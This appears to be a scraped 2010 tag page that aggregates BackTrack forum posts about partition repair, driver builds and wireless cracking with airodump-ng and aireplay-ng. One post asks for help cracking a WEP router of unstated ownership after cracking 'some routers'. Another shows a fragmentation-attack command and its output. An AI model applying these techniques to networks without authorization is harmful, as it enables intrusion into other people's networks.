Code: root@bt:~# fdisk -ul Disk /dev/sda: 200.0 GB, 200049647616 bytes 255 heads, 63 sectors/track, 24321 cylinders, total 390721968 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sda1 63 144584 72261 6 FAT16 /dev/sda2 145408 21116927 10485760 7 HPFS/NTFS /dev/sda3 * 21116928 385479674 182181373+ 7 HPFS/NTFS Disk /dev/sdb: 2086 MB, 2086666240 bytes 2 heads, 63 sectors/track, 32345 cylinders, total 4075520 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x007a8367 Device Boot Start End Blocks Id System /dev/sdb1 * 63 2097269 1048603+ b W95 FAT32 /dev/sdb2 2097270 4075469 989100 83 Linux Disk /dev/sdc: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0xe8900690 Device Boot Start End Blocks Id System /dev/sdc1 Code: root@bt:~# fdisk -l Disk /dev/sda: 200.0 GB, 200049647616 bytes 255 heads, 63 sectors/track, 24321 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sda1 1 9 72261 6 FAT16 /dev/sda2 10 1315 10485760 7 HPFS/NTFS /dev/sda3 * 1315 23995 182181373+ 7 HPFS/NTFS My main Disk is sda, Sda1 is my Dell Utility or Dell Media Direct Fat32. My Sda2 is my Dell Recovery Drive NTFS. & my sda3 is my main OS drive. Which windows wont recognize in any recovery setup.

As far as i Can see my Main problem is that sda2 end's on 1315 cylinder and sda3 is set to start on cylinder 1315.
I was wondering if my problem's bigger than this, or if it's just as simple as changing that value with sfdisk or testdisk.

I've tryed testdisk and that wont do any thing, and sfdisk is to complicated for me to just start throwing value's in there.

ANY Help is sooooo Much appreciated.
I'll give you any print out you need.
PLEASE HELP ME, up for two days trying to fix this.
& I'm STUCK!

p.s here's two more sfdisk print out's showing other problem's I've come across.
Code: root@bt:~# sfdisk -uS /dev/sda --f Checking that no-one is using this disk right now ... BLKRRPART: Device or resource busy This disk is currently in use - repartitioning is probably a bad idea. Umount all file systems, and swapoff all swap partitions on this disk. Use the --no-reread flag to suppress this check. Disk /dev/sda: 24321 cylinders, 255 heads, 63 sectors/track Old situation: Units = sectors of 512 bytes, counting from 0 Device Boot Start End #sectors Id System /dev/sda1 63 144584 144522 6 FAT16 /dev/sda2 145408 21116927 20971520 7 HPFS/NTFS /dev/sda3 * 21116928 385479674 364362747 7 HPFS/NTFS /dev/sda4 0 - 0 0 Empty Input in the following format; absent fields get a default value. <start> <size> <type [E,S,L,X,hex]> <bootable [-,*]> <c,h,s> <c,h,s> Usually you only need to specify <start> and <size> (and perhaps <type>). /dev/sda1 : &
Code: root@bt:~# sfdisk -uS /dev/sda1 --f Checking that no-one is using this disk right now ... BLKRRPART: Invalid argument OK Disk /dev/sda1: 8 cylinders, 255 heads, 63 sectors/track Old situation: Units = sectors of 512 bytes, counting from 0 Device Boot Start End #sectors Id System /dev/sda1p1 30195395 1796312749 1766117355 cd Unknown start: (c,h,s) expected (1023,254,63) found (0,190,62) end: (c,h,s) expected (1023,254,63) found (257,19,50) partition ends on cylinder 257, beyond the end of the disk /dev/sda1p2 ? 544165376 2228272491 1684107116 72 Unknown start: (c,h,s) expected (1023,254,63) found (101,107,32) end: (c,h,s) expected (1023,254,63) found (370,114,47) partition ends on cylinder 370, beyond the end of the disk /dev/sda1p3 ? 1109413705 1109433745 20041 45 Unknown start: (c,h,s) expected (1023,254,63) found (68,114,0) end: (c,h,s) expected (1023,254,63) found (322,76,12) partition ends on cylinder 322, beyond the end of the disk /dev/sda1p4 0 - 0 0 Empty Input in the following format; absent fields get a default value. <start> <size> <type [E,S,L,X,hex]> <bootable [-,*]> <c,h,s> <c,h,s> Usually you only need to specify <start> and <size> (and perhaps <type>). /dev/sda1p1 : Code: root@bt:~# sfdisk -uS /dev/sda2 --f Checking that no-one is using this disk right now ... BLKRRPART: Invalid argument OK Disk /dev/sda2: 1305 cylinders, 255 heads, 63 sectors/track Old situation: Units = sectors of 512 bytes, counting from 0 Device Boot Start End #sectors Id System /dev/sda2p1 ? 6579571 1924427647 1917848077 70 DiskSecure Multi-Boot start: (c,h,s) expected (409,142,41) found (365,99,47) end: (c,h,s) expected (1023,254,63) found (371,114,37) /dev/sda2p2 ? 1953251627 3771827541 1818575915 43 Unknown start: (c,h,s) expected (1023,254,63) found (288,115,51) end: (c,h,s) expected (1023,254,63) found (364,116,50) /dev/sda2p3 ? 225735265 225735274 10 72 Unknown start: (c,h,s) expected (1023,254,63) found (288,116,47) end: (c,h,s) expected (1023,254,63) found (372,101,51) /dev/sda2p4 2642411520 2642463409 51890 0 Empty start: (c,h,s) expected (1023,254,63) found (0,0,0) end: (c,h,s) expected (1023,254,63) found (0,0,0) Input in the following format; absent fields get a default value. <start> <size> <type [E,S,L,X,hex]> <bootable [-,*]> <c,h,s> <c,h,s> Usually you only need to specify <start> and <size> (and perhaps <type>). /dev/sda2p1 : It's Pretty much the same for Sda3 as well. :(

Please someone. I really need this drive back. It has so many custom setup's on it.
Tags: nbsp dev sda dell-utility dell-recovery eager-little-beaver nbsp-nbsp-nbsp-nbsp-nbsp partition-table Newbie Area
February 03, 2010
8:09
Treiber Compilation - airdriver-ng
» ‎ remote-exploit & backtrack

Hey Leute!
Habe immer wiederkehrend einen Fehler beim versuch Treiber (wlan-treiber) zu komplilieren.

Code: Wed Feb 3 16:05:27 CET 2010 Installing "ACX100/111" on 2.6.30.9. patching file common.c patching file pci.c make: Entering directory `/usr/src/linux-source-2.6.30.9' WARNING: Symbol version dump /usr/src/linux-source-2.6.30.9/Module.symvers is missing; modules will have no dependencies and modversions. CC [M] /usr/src/drivers/acx-20070101/wlan.o In file included from /usr/src/drivers/acx-20070101/acx.h:2, from /usr/src/drivers/acx-20070101/wlan.c:49: /usr/src/drivers/acx-20070101/wlan_compat.h:224: error: conflicting types for 'irqreturn_t' include/linux/irqreturn.h:16: error: previous declaration of 'irqreturn_t' was here make[1]: *** [/usr/src/drivers/acx-20070101/wlan.o] Error 1 make: *** [_module_/usr/src/drivers/acx-20070101] Error 2 make: Leaving directory `/usr/src/linux-source-2.6.30.9' Worauf lässt dies schließen?

MfG

edit:

Code: root@bt:~# airdriver-ng install 0 Driver "ACX100/111" specified for installation. Your current GCC version doesn't match the version your kernel was compiled with. The build modules will probably not load into the running kernel. 1. Getting the source...OK 2. Extracting the source...OK 3. Getting the patch...OK 4. Patching the source...OK 5. Compiling the source...Running "depmod -ae"... Failed to install the driver. Look through "/var/log/airdriver" for errors. Heißt das ich muss den Kernel neu compilen? oder kann ich irgendwie herausfinden mit welcher gcc version ich arbeiten muss und darauf downgraden?
Tags: nbsp-nbsp-nbsp-nbsp-nbsp linux-source gcc-version Software Support
January 31, 2010
10:38
need help
» ‎ remote-exploit & backtrack

hi all .. i was trying to crack security for some routers .. i tried to crack web, and i done it ,, also wpa/wpa2 and i cracked it (because the password was in the dictionary as all know)

but the question is ,, that there is a router has web security,and its channel is 123 ,, and when i start the monitor mode in on its channel ,, and start airodump again i see that its channel channged to another

first
Code: CH 5 ][ Elapsed: 4 s ][ 2010-01-31 19:33 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:C0:CA:1D:DA:3E -1 0 7 1 123 -1 WEP WEP <length: 0> 00:1F:9F:D3:1F:EB -47 10 0 0 3 54 WPA2 CCMP PSK test BSSID STATION PWR Rate Lost Packets Probes 00:C0:CA:1D:DA:3E 00:60:B3:35:FB:E1 -86 0 - 1 0 9 00:C0:CA:1D:DA:3E 00:19:E0:79:EB:D0 -84 0 - 1 13 24 after typing airodump again .. i see that its channel changed to another

second
Code: CH 2 ][ Elapsed: 4 s ][ 2010-01-31 19:39 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:C0:CA:1D:DA:3E -1 0 7 3 118 -1 WEP WEP <length: 0> 00:1F:9F:D3:1F:EB -51 8 0 0 3 54 WPA2 CCMP PSK test BSSID STATION PWR Rate Lost Packets Probes 00:C0:CA:1D:DA:3E 00:60:B3:35:FB:E1 -86 0 - 1 0 10 00:C0:CA:1D:DA:3E 00:19:E0:79:EB:D0 -81 0 - 1 5 4 it had changed to 118 :S .. i cant crack it ..
if some one can give help or solution .. i thank him lot ...
Tags: nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Newbie Area
10:38
need help
» ‎ remote-exploit & backtrack

hi all .. i was trying to crack security for some routers .. i tried to crack web, and i done it ,, also wpa/wpa2 and i cracked it (because the password was in the dictionary as all know)

but the question is ,, that there is a router has web security,and its channel is 123 ,, and when i start the monitor mode in on its channel ,, and start airodump again i see that its channel channged to another

first
Code: CH 5 ][ Elapsed: 4 s ][ 2010-01-31 19:33 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:C0:CA:1D:DA:3E -1 0 7 1 123 -1 WEP WEP <length: 0> 00:1F:9F:D3:1F:EB -47 10 0 0 3 54 WPA2 CCMP PSK test BSSID STATION PWR Rate Lost Packets Probes 00:C0:CA:1D:DA:3E 00:60:B3:35:FB:E1 -86 0 - 1 0 9 00:C0:CA:1D:DA:3E 00:19:E0:79:EB:D0 -84 0 - 1 13 24 after typing airodump again .. i see that its channel changed to another

second
Code: CH 2 ][ Elapsed: 4 s ][ 2010-01-31 19:39 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:C0:CA:1D:DA:3E -1 0 7 3 118 -1 WEP WEP <length: 0> 00:1F:9F:D3:1F:EB -51 8 0 0 3 54 WPA2 CCMP PSK test BSSID STATION PWR Rate Lost Packets Probes 00:C0:CA:1D:DA:3E 00:60:B3:35:FB:E1 -86 0 - 1 0 10 00:C0:CA:1D:DA:3E 00:19:E0:79:EB:D0 -81 0 - 1 5 4 it had changed to 118 :S .. i cant crack it ..
if some one can give help or solution .. i thank him lot ...
Tags: nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Idiots Corner
January 30, 2010

Permalink for 'probleme wifi link 1000 series'

6:34

probleme wifi link 1000 series

» ‎ remote-exploit & backtrack

bonsoir à tous ceux qui liront ce post,
Alors voici mon problème : je n'arrive pas a mettre en oeuvre ma carte wifi (intel wifi pro 1000 series) sous BT4.
Voici ma démarche :
avant toute chose, un coup d'oeil aux indications de nagual : commandes-utiles-et-infos-donner-pour-avoir-une-reponse
Donc je détermine si ma carte wifi est détectée :
Code:

lspci | grep Network

03:00.0 Network controller: Intel Corporation Wifi Link 1000 Series



iwonfig

lo                    no wireless extensions.



eth0                no wireless extensions.



wmaster0          no wireless extensions.



wlan0               IEEE 802.11bgn   ESSID:""

                       mode: Managed    Frebquency:2.412 GHz       Acess Point: Not-Associated

Tx-Power=0 dbm

Retry min limitk:7    RTS thr :off               Fragment thr:off

Encryption key=off

Power Managment=off

Link Quality:0  Signal level:0  Noise level:0

Rx invalid nwid:0  Rx invalid crypt:0 Rx invalid frag:0

Tx exessive retries:0 Invalid misc:0  Missed beacon:0

ensuite je regarde les drivers installés (je dois reconnaitre que je ne sais pas quel drivers utilise ma carte entre les intel pro et le driver madwifi mais le problème est autre):
Code:

airdriver-ng installed:

Found following stacks installed:

2. mac80211



Found following drivers installed:

2. ADMtek 8211-mac80211

3. Atmel at76c50x- IEEE80211 Softmac

7. Cisco/Aironet 802.11 - IEEE80211 Softmac

8. HostAP - IEEE80211

9. Intel Pro Wireless 2100 B - IEEE80211

10. Intel Pro Wireless 2200 (B/G)/2915 5 (A/B/G) - IEEE80211

13. Intel Pro Wireless 3945 A/B/G - mac80211

16. Madwifi[-ng] - IEEE80211

......

ensuite est-ce que ma carte est activée ? (c'est là où arrive le problème)
Code:

sudo ifconfig wlan0 up

SIOCSIFFLAGS: No such file or directory

Après recherches sur internet : Archlinux.fr [Forums] • Afficher le sujet - [Wifi] SIOCSIFFLAGS : No such file or directory (resolu) et plus particulièrement à cette ligne : Quote:

pour ce qui est de l'erreur SIOCSIFFLAGS, regarde dans /var/log/messages.log si tu n'aurais pas un firmware manquant.

mais là pour ce qui est du journal d'erreurs vous verrez après recherches qu'ils faut regarder dans Quote:

daemon.log

pour trouver les erreurs qui nous concernent à savoir:
Quote:

Jan 26 22:34:53 bt firmware_helper[13396]: main: error loading '/lib/firmware/iwlwifi-1000-1.ucode' for device '/class/firmware/0000:03:00.0' with driver 'iwlagn'
Jan 27 00:43:52 bt firmware_helper[17958]: main: error loading '/lib/firmware/iwlwifi-1000-2.ucode' for device '/class/firmware/0000:03:00.0' with driver 'iwlagn'

J'imagine que comme moi vous n'avez trouvez que la version 3 de ces µcodes donc on l'a dans le c**l.
Donc ma/mes questions :
Où peut-t-on trouver les versions 1 et 2 de ces µcodes ?(mes recherches sur google ont été infructeuses pour trouver les versions antérieures).
si ils ne sont pas trouvables : il y a t-il une autre alternative que de changer de kernel comme suggéré ici Sabayon Forums • View topic - Intel Wifi link 1000 problem?
Comme dit ci-dessus, si vous avez une solution/indication, faite le moi savoir svp....
Merci d'avoir pris la peine de lire ce post qui je l'espère vous a guidé ( c'est pourquoi j'ai tant détaillé) ou donné envie de m'aider ( c'est pourquoi je l'ai écris ^^ ) .

Tags: nbsp est wifi intel-pro-wireless-2200 intel-pro-wireless-3945 nbsp-nbsp-nbsp-nbsp-nbsp Espace debutant

January 26, 2010
20:46
I need driver skystar2 BT4
» ‎ remote-exploit & backtrack

hi all
i am using back track 4 :D

i need driver skystar2 ?

Code: 01:02.0 Network controller: Techsan Electronics Co Ltd B2C2 FlexCopII DVB chip / Technisat SkyStar2 DVB card (rev 02) 02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI E thank and reg
Tags: nbsp skystar driver b-pci realtek-semiconductor technisat-skystar2 nbsp-nbsp-nbsp-nbsp-nbsp BackTrack NON working Hardware
3:08
Aircrack-ng frage
» ‎ remote-exploit & backtrack

Hi Experten,

ich bin ja nicht der einzige der mit aircrack so seine Schwieigkeiten hat.

Also ich habe folgendes Problem:

Habe mir die Aircrack-ng Dokumentation durchgelesen und habe mir dann eine FritzBox 7270 als Testobject mit WEP aufgebaut. In diesem Wlan befinden sich keine Clients!

Habe die Wlankarte mit airmon start wlan0 in den Monitormode versetzt

Ich konzentriere mich dann mittels

airodump-ng --bssid 00:1F:3F:1E:69:26 --channel 10 --ivs -w test mon0

auf mein test Wlan

das geht auch ganz gut.

So jetzt möchte ich einen Keystream generieren

Code: user@lucy:~$ aireplay-ng -5 -b 00:1F:3F:1E:69:26 mon0 [sudo] password for tobias: No source MAC (-h) specified. Using the device MAC (00:22:FA:C5:9B:C0) 10:57:32 Waiting for beacon frame (BSSID: 00:1F:3F:1E:69:26) on channel 10 10:57:32 Waiting for a data packet... Read 5249 packets... Size: 76, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:1F:3F:1E:69:26 Dest. MAC = 01:00:5E:00:00:01 Source MAC = 00:1C:4A:2B:4F:BC 0x0000: 0842 0000 0100 5e00 0001 001f 3f1e 6926 .B....^.....?.i& 0x0010: 001c 4a2b 4fbc 4004 4994 7600 2ff4 e791 ..J+O.@.I.v./... 0x0020: fbc4 872f 3577 1f2d 5c5d 4a41 9863 e8ef .../5w.-\]JA.c.. 0x0030: d6d3 c334 7a72 1567 61dd b2a6 d929 e2e2 ...4zr.ga....).. 0x0040: 8fdc ccca 2b5d 7d4c 42e6 9501 ....+]}LB... Use this packet ? y Saving chosen packet in replay_src-0126-110133.cap 11:01:53 Data packet found! 11:01:53 Sending fragmented packet 11:01:55 No answer, repeating... 11:01:55 Trying a LLC NULL packet 11:01:55 Sending fragmented packet 11:01:57 No answer, repeating... 11:01:57 Sending fragmented packet 11:01:58 No answer, repeating... 11:01:58 Trying a LLC NULL packet 11:01:58 Sending fragmented packet 11:02:00 No answer, repeating... 11:02:00 Sending fragmented packet 11:02:01 No answer, repeating... 11:02:01 Trying a LLC NULL packet 11:02:01 Sending fragmented packet 11:02:03 No answer, repeating... 11:02:03 Sending fragmented packet 11:02:04 No answer, repeating... 11:02:04 Trying a LLC NULL packet 11:02:04 Sending fragmented packet 11:02:06 No answer, repeating... 11:02:06 Sending fragmented packet 11:02:07 No answer, repeating... 11:02:07 Trying a LLC NULL packet 11:02:07 Sending fragmented packet 11:02:09 No answer, repeating... 11:02:09 Sending fragmented packet 11:02:10 No answer, repeating... 11:02:10 Still nothing, trying another packet... Read 430 packets... Size: 359, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:1F:3F:1E:69:26 Dest. MAC = 01:00:5E:7F:FF:FA Source MAC = 00:1C:4A:2B:4F:BC 0x0000: 0842 0000 0100 5e7f fffa 001f 3f1e 6926 .B....^....?.i& 0x0010: 001c 4a2b 4fbc 5004 4994 7700 9a0a b11a ..J+O.P.I.w..... 0x0020: 4221 c180 e968 9acb 974b 9550 6f9a 6525 B!...h...K.Po.e% 0x0030: 4b8d 45de 126b 5541 679d 62f6 406b bd09 K.E..kUAg.b.@k.. 0x0040: 3655 9d54 6112 c000 017f b931 9bde 60cb 6U.Ta.....1..`. 0x0050: cf73 875a 1836 b845 3cc2 e7d2 c974 ab77 .s.Z.6.E<....t.w 0x0060: 0df6 a1a2 74fa 01d9 8a74 a4cb edd0 6691 ....t....t....f. 0x0070: 4d14 0d06 089f 0a44 6b08 f20e 5e4d 3efd M......Dk...^M>. 0x0080: f998 3b3c 5120 5e47 ee6b 256e 2fc8 a564 ..;<Q ^G.k%n/..d 0x0090: 8282 0b60 656a bee2 71b1 7558 ce60 fb30 ...`ej..q.uX.`.0 0x00a0: 0ade 49dc f3cd ff1f 7a87 fb96 d656 1826 ..I.....z....V.& 0x00b0: 27e0 ac40 8f72 4265 4f35 dbb8 75e5 4cf6 '..@.rBeO5..u.L. 0x00c0: be7b a55c 1663 0513 178b ba46 ed48 3aca .{.\.c.....F.H:. 0x00d0: 9180 b0d8 05bf 7696 c1ee cff6 4095 a13f ......v.....@..? --- CUT --- Use this packet ? Dieses Spielchen kann ich dann ewig weiter spielen ohne ein Ergebnis.

Leider haeb ich keine Ahnung warum das so ist.

Kann mir das evtl. jemand erklären oder einen Tip geben wie es sonst Funktioniert.

Danke und Gruß
-icaros
Tags: fragmented sending nbsp amp-nbsp nbsp-nbsp-nbsp-nbsp-nbsp airodump Anfnger Ecke
January 21, 2010
8:46
cannot connect to WPA network
» ‎ remote-exploit & backtrack

Hello,

My landlord has provided me with a password and him and his friends are able to connect using their Windows computers. I got a WPA handshake and added the password to a dictionary list but airocrack says the password isn't found. I show him the password he wrote but he insists it's correct.

Please help me since I only make a little money online and need the net to earn money for food, and I don't use Windows :(

Here's what I do:
Code: airodump: 00:12:CF:6C:57:73 -66 99 286 7 2 54e. WPA TKIP PSK suat1 root@l:/tmp# cat /etc/wpa_supplicant/net.conf network={ ssid="suat1" key_mgmt=WPA-PSK psk="a2341436z" } root@l:/tmp# wpa_supplicant -Dwext -B -c /etc/wpa_supplicant/net.conf -i wlan0 root@l:/tmp# dhclient wlan0 Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit snip mon0: unknown hardware address type 803 wmaster0: unknown hardware address type 801 mon0: unknown hardware address type 803 wmaster0: unknown hardware address type 801 Listening on LPF/wlan0/00:1d:e0:a1:25:01 Sending on LPF/wlan0/00:1d:e0:a1:25:01 Sending on Socket/fallback DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 11 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 15 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 9 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 13 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5 No DHCPOFFERS received. Trying recorded lease 192.168.1.126 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. --- 192.168.1.1 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms Trying recorded lease 192.168.2.135 PING 192.168.2.2 (192.168.2.2) 56(84) bytes of data. --- 192.168.2.2 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms No working leases in persistent database - sleeping. root@l:/tmp# And the output of iwlist:
Code: wlan0 Scan completed : Cell 01 - Address: 00:12:CF:6C:57:73 ESSID:"suat1" Mode:Master Channel:2 Frequency:2.417 GHz (Channel 2) Quality=100/100 Signal level:-46 dBm Noise level=-97 dBm Encryption key:on IE: Unknown: 00057375617431 IE: Unknown: 010882848B0C12961824 IE: Unknown: 030102 IE: Unknown: 0706545249010D14 IE: Unknown: 200100 IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (1) : TKIP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00 IE: Unknown: DD0900037F01010020FF7F Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s 48 Mb/s; 54 Mb/s Extra:tsf=00000003a1812181 Extra: Last beacon: 0ms ago Not sure what's wrong here! Everything looks fine.

I'm not asking how to crack a wireless password. I have been given a password. Just asking if I'm doing anything wrong and what can I to solve this.

Thank you.
Tags: nbsp wpa wlan wpa-psk nbsp-nbsp-nbsp-nbsp-nbsp airodump Wireless
January 19, 2010
8:54
cannot connect to WPA network
» ‎ remote-exploit & backtrack

Hello,

I cannot connect to a WPA-PSK network that 2 friends on Windows computers can. Please help me since I only make a little money online and need the net to earn money for food, and I don't use Windows :(

Here's what I do:
Code: airodump: 00:12:CF:6C:57:73 -66 99 286 7 2 54e. WPA TKIP PSK suat1 # cat /etc/wpa_supplicant/net.conf network={ ssid="suat1" key_mgmt=WPA-PSK psk="a2341436z" } # wpa_supplicant -Dwext -B -c /etc/wpa_supplicant/net.conf -i wlan0 # dhclient wlan0 Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit snip mon0: unknown hardware address type 803 wmaster0: unknown hardware address type 801 mon0: unknown hardware address type 803 wmaster0: unknown hardware address type 801 Listening on LPF/wlan0/00:1d:e0:a1:25:01 Sending on LPF/wlan0/00:1d:e0:a1:25:01 Sending on Socket/fallback DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 11 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 15 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 9 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 13 DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5 No DHCPOFFERS received. Trying recorded lease 192.168.1.126 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. --- 192.168.1.1 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms Trying recorded lease 192.168.2.135 PING 192.168.2.2 (192.168.2.2) 56(84) bytes of data. --- 192.168.2.2 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms No working leases in persistent database - sleeping. # And the output of iwlist:
Code: wlan0 Scan completed : Cell 01 - Address: 00:12:CF:6C:57:73 ESSID:"suat1" Mode:Master Channel:2 Frequency:2.417 GHz (Channel 2) Quality=100/100 Signal level:-46 dBm Noise level=-97 dBm Encryption key:on IE: Unknown: 00057375617431 IE: Unknown: 010882848B0C12961824 IE: Unknown: 030102 IE: Unknown: 0706545249010D14 IE: Unknown: 200100 IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (1) : TKIP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00 IE: Unknown: DD0900037F01010020FF7F Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s 48 Mb/s; 54 Mb/s Extra:tsf=00000003a1812181 Extra: Last beacon: 0ms ago Not sure what's wrong here! Everything looks fine.

Thank you.
Tags: nbsp wpa wlan wpa-psk nbsp-nbsp-nbsp-nbsp-nbsp airodump Wireless

jetlib.sec » Tags » nbsp-nbsp-nbsp-nbsp-nbsp

Feeds

18 items tagged "nbsp nbsp nbsp nbsp nbsp"

psexec fail? upload and exec instead

Tags: nbsp upload file read target-address nbsp-nbsp-nbsp-nbsp-nbsp winexe

Buby Script Basics Part 6

Tags: nbsp-nbsp-nbsp-nbsp-nbsp path-object string-type cktricky

Buby Script Basics Part 3

Tags: nbsp strn str response-status-code nbsp-nbsp-nbsp-nbsp-nbsp proxy-scanner cktricky

Buby Script Basics Part 2

Tags: nbsp msg message nbsp-nbsp-nbsp-nbsp-nbsp rport myscript cktricky

Very Low Connection Power

Tags: nbsp intel wlan arp-requests nbsp-nbsp-nbsp-nbsp-nbsp new-dell Newbie Area

Low #/s

Tags: nbsp code root mac read link nbsp-nbsp-nbsp-nbsp-nbsp 1b-channel airodump Wireless

social engeneering toolkit mass email attack question

Tags: nbsp quot pdf david-kennedy thomas-werth d-clodprogressivemeshdeclaration quot-quot social-engeneering nbsp-nbsp-nbsp-nbsp-nbsp Pentesting

[Video] Messing with Metasploit

Tags: nbsp video tmi read vicky-devine---facing blip-tv boot-ini nbsp-nbsp-nbsp-nbsp-nbsp BackTrack Howto

AutoHS version 0.3

Tags: nbsp existing capture hope n-virtuel nbsp-nbsp-nbsp-nbsp-nbsp airodump channel-amp Programming

A Tricky One ;-)

Tags: nbsp dev sda dell-utility dell-recovery eager-little-beaver nbsp-nbsp-nbsp-nbsp-nbsp partition-table Newbie Area

Treiber Compilation - airdriver-ng

Tags: nbsp-nbsp-nbsp-nbsp-nbsp linux-source gcc-version Software Support

need help

Tags: nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Newbie Area

need help

Tags: nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Idiots Corner

probleme wifi link 1000 series

Tags: nbsp est wifi intel-pro-wireless-2200 intel-pro-wireless-3945 nbsp-nbsp-nbsp-nbsp-nbsp Espace debutant

I need driver skystar2 BT4

Tags: nbsp skystar driver b-pci realtek-semiconductor technisat-skystar2 nbsp-nbsp-nbsp-nbsp-nbsp BackTrack NON working Hardware

Aircrack-ng frage

Tags: fragmented sending nbsp amp-nbsp nbsp-nbsp-nbsp-nbsp-nbsp airodump Anfnger Ecke

cannot connect to WPA network

Tags: nbsp wpa wlan wpa-psk nbsp-nbsp-nbsp-nbsp-nbsp airodump Wireless

cannot connect to WPA network

Tags: nbsp wpa wlan wpa-psk nbsp-nbsp-nbsp-nbsp-nbsp airodump Wireless